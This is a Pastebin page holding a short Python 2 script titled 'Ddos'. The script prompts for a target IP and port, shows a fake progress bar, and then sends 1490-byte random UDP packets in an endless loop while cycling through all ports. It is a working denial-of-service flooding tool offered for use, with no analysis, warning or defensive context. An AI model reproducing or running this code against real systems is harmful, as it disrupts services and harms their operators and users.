Advertisement
skip420

Ddos

Mar 29th, 2020
929
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.97 KB | None | 0 0
  1. import sys
  2. import os
  3. import time
  4. import socket
  5. import random
  6. #Code Time
  7. from datetime import datetime
  8. now = datetime.now()
  9. hour = now.hour
  10. minute = now.minute
  11. day = now.day
  12. month = now.month
  13. year = now.year
  14.  
  15. ##############
  16. sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  17. bytes = random._urandom(1490)
  18. #############
  19.  
  20. os.system("clear")
  21. os.system("figlet DDos Attack")
  22. print
  23.  
  24. ip = raw_input("IP Target : ")
  25. port = input("Port       : ")
  26.  
  27. os.system("clear")
  28. os.system("figlet Attack Starting")
  29. print "[                    ] 0% "
  30. time.sleep(5)
  31. print "[=====               ] 25%"
  32. time.sleep(5)
  33. print "[==========          ] 50%"
  34. time.sleep(5)
  35. print "[===============     ] 75%"
  36. time.sleep(5)
  37. print "[====================] 100%"
  38. time.sleep(3)
  39. sent = 0
  40. while True:
  41.      sock.sendto(bytes, (ip,port))
  42.      sent = sent + 1
  43.      port = port + 1
  44.      print "Sent %s packet to %s throught port:%s"%(sent,ip,port)
  45.      if port == 65534:
  46.        port = 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement